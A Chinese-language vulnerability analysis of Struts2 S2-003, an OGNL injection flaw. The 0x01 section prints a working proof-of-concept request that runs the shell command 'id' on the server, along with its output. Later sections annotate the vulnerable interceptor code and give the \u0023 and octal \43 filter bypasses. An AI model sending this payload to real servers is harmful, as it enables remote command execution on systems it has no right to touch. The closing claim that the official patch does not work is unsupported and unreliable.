Struts2框架: S2-003 漏洞详细分析


0x00 前言

阅读本文需要具备的知识:

  1. 熟悉J2EE开发
  2. 了解Struts2框架执行流程

如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.

0x01 漏洞复现

影响漏洞版本:

Struts 2.0.0 - Struts 2.0.11.2

漏洞靶机代码: (下方通过该代码进行分析, 务必下载本地对比运行)

https://github.com/dean2021/java_security_book/tree/master/Struts2/s2_003

公布的POC:

GET /s2_war/index.action?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27id\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=FC7DC2221FDB37EAE855C6E6A11E9CC1; _ga=GA1.1.267931382.1545202285
Connection: close

请求响应内容:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Mon, 24 Dec 2018 09:36:01 GMT
Connection: close

uid=1234556(xxxx) gid=1603212982 groups=1603212982....

0x02 漏洞分析

问题出现在ParameterInterceptors.java(参数拦截器), 我们看一下代码:

public class ParametersInterceptor extends MethodFilterInterceptor {

    private static final Log LOG = LogFactory.getLog(ParametersInterceptor.class);

    boolean ordered = false;
    Set<Pattern> excludeParams = Collections.EMPTY_SET;
    Set<Pattern> acceptedParams = Collections.EMPTY_SET;


    // 正则判断参数名是否包含这些特殊字符
    private String acceptedParamNames = "[\\p{Graph}&&[^,#:=]]*";
    private Pattern acceptedPattern = Pattern.compile(acceptedParamNames);

    static boolean devMode = false;

    @Inject(value = "devMode", required = false)
    public static void setDevMode(String mode) {
        devMode = "true".equals(mode);
    }

    public void setAcceptedParamNames(String commaDelim) {
        Collection<String> acceptPatterns = asCollection(commaDelim);
        if (acceptPatterns != null) {
            acceptedParams = new HashSet<Pattern>();
            for (String pattern : acceptPatterns) {
                acceptedParams.add(Pattern.compile(pattern));
            }
        }
    }

    /**
     * Compares based on number of '.' characters (fewer is higher)
     */
    static final Comparator rbCollator = new Comparator() {
        public int compare(Object arg0, Object arg1) {
            String s1 = (String) arg0;
            String s2 = (String) arg1;
            int l1 = 0, l2 = 0;
            for (int i = s1.length() - 1; i >= 0; i--) {
                if (s1.charAt(i) == '.') l1++;
            }
            for (int i = s2.length() - 1; i >= 0; i--) {
                if (s2.charAt(i) == '.') l2++;
            }
            return l1 < l2 ? -1 : (l2 < l1 ? 1 : s1.compareTo(s2));
        }

        ;
    };



    // 拦截器入口方法
    public String doIntercept(ActionInvocation invocation) throws Exception {
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {
            ActionContext ac = invocation.getInvocationContext();

            // 获取所有参数
            final Map parameters = ac.getParameters();

            if (LOG.isDebugEnabled()) {
                LOG.debug("Setting params " + getParameterLogMap(parameters));
            }

            if (parameters != null) {
                Map contextMap = ac.getContextMap();
                try {
                    OgnlContextState.setCreatingNullObjects(contextMap, true);
                    OgnlContextState.setDenyMethodExecution(contextMap, true);
                    OgnlContextState.setReportingConversionErrors(contextMap, true);

                    ValueStack stack = ac.getValueStack();

                    // 将所有参数存放到OGNL栈中, 我们跟进实现
                    setParameters(action, stack, parameters);

                } finally {
                    OgnlContextState.setCreatingNullObjects(contextMap, false);
                    OgnlContextState.setDenyMethodExecution(contextMap, false);
                    OgnlContextState.setReportingConversionErrors(contextMap, false);
                }
            }
        }
        return invocation.invoke();
    }

    protected void setParameters(Object action, ValueStack stack, final Map parameters) {
        ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware)
                ? (ParameterNameAware) action : null;

        Map params = null;
        if (ordered) {
            params = new TreeMap(getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters);
        }

        for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) {
            Map.Entry entry = (Map.Entry) iterator.next();
            String name = entry.getKey().toString();


            // 这里对参数名进行了特殊字符判断,其中包括#字符
            // 由于我们用\u0023替代#绕过正则判断
            boolean acceptableName = acceptableName(name)
                    && (parameterNameAware == null
                    || parameterNameAware.acceptableParameterName(name));

            if (acceptableName) {
                Object value = entry.getValue();
                try {

                    // 此时的name为我们的OGNL表达式,从而触发了OGNL表达式
                    stack.setValue(name, value);
                } catch (RuntimeException e) {
                    if (devMode) {
                        String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{
                                e.getMessage()
                        });
                        LOG.error(developerNotification);
                        if (action instanceof ValidationAware) {
                            ((ValidationAware) action).addActionMessage(developerNotification);
                        }
                    } else {
                        LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + e.getMessage());
                    }
                }
            }
        }
    }

    /**
     * Gets an instance of the comparator to use for the ordered sorting.  Override this
     * method to customize the ordering of the parameters as they are set to the
     * action.
     *
     * @return A comparator to sort the parameters
     */
    protected Comparator getOrderedComparator() {
        return rbCollator;
    }

    private String getParameterLogMap(Map parameters) {
        if (parameters == null) {
            return "NONE";
        }

        StringBuffer logEntry = new StringBuffer();
        for (Iterator paramIter = parameters.entrySet().iterator(); paramIter.hasNext();) {
            Map.Entry entry = (Map.Entry) paramIter.next();
            logEntry.append(String.valueOf(entry.getKey()));
            logEntry.append(" => ");
            if (entry.getValue() instanceof Object[]) {
                Object[] valueArray = (Object[]) entry.getValue();
                logEntry.append("[ ");
                for (int indexA = 0; indexA < (valueArray.length - 1); indexA++) {
                    Object valueAtIndex = valueArray[indexA];
                    logEntry.append(valueAtIndex);
                    logEntry.append(String.valueOf(valueAtIndex));
                    logEntry.append(", ");
                }
                logEntry.append(String.valueOf(valueArray[valueArray.length - 1]));
                logEntry.append(" ] ");
            } else {
                logEntry.append(String.valueOf(entry.getValue()));
            }
        }

        return logEntry.toString();
    }


    protected boolean acceptableName(String name) {
        if (isAccepted(name) && !isExcluded(name)) {
            return true;
        }
        return false;
    }

    protected boolean isAccepted(String paramName) {
        if (!this.acceptedParams.isEmpty()) {
            for (Pattern pattern : acceptedParams) {
                Matcher matcher = pattern.matcher(paramName);
                if (!matcher.matches()) {
                    return false;
                }
            }
        }

        // 这里进行了正则匹配
        return acceptedPattern.matcher(paramName).matches();
    }

    protected boolean isExcluded(String paramName) {
        if (!this.excludeParams.isEmpty()) {
            for (Pattern pattern : excludeParams) {
                Matcher matcher = pattern.matcher(paramName);
                if (matcher.matches()) {
                    return true;
                }
            }
        }
        return false;
    }

    /**
     * Whether to order the parameters or not
     *
     * @return True to order
     */
    public boolean isOrdered() {
        return ordered;
    }

    /**
     * Set whether to order the parameters by object depth or not
     *
     * @param ordered True to order them
     */
    public void setOrdered(boolean ordered) {
        this.ordered = ordered;
    }

    /**
     * Gets a set of regular expressions of parameters to remove
     * from the parameter map
     *
     * @return A set of compiled regular expression patterns
     */
    protected Set getExcludeParamsSet() {
        return excludeParams;
    }

    /**
     * Sets a comma-delimited list of regular expressions to match
     * parameters that should be removed from the parameter map.
     *
     * @param commaDelim A comma-delimited list of regular expressions
     */
    public void setExcludeParams(String commaDelim) {
        Collection<String> excludePatterns = asCollection(commaDelim);
        if (excludePatterns != null) {
            excludeParams = new HashSet<Pattern>();
            for (String pattern : excludePatterns) {
                excludeParams.add(Pattern.compile(pattern));
            }
        }
    }

    /**
     * Return a collection from the comma delimited String.
     *
     * @param commaDelim
     * @return A collection from the comma delimited String.
     */
    private Collection asCollection(String commaDelim) {
        if (commaDelim == null || commaDelim.trim().length() == 0) {
            return null;
        }
        return TextParseUtil.commaDelimitedStringToSet(commaDelim);
    }
}

分析完,原理就是对参数名特殊字符过滤不完善,通过\u0023(16进制的#)绕过正则表达式,从而执行了OGNL表达式.

TIPS: 用八进制的\43也可以绕过.

0x03 漏洞修复

官方给的建议升级 Struts 2.0.12 或 升级 XWork 2.0.6

Developers should immediately upgrade to Struts 2.0.12 or upgrade to XWork 2.0.6

但实践证明并没有卵用, 由于是老版本的漏洞分析,我也懒得diff代码了。

0x04 引用

  1. S2-003安全公告
  2. 【Struts2-命令-代码执行漏洞分析系列】S2-003和S3-005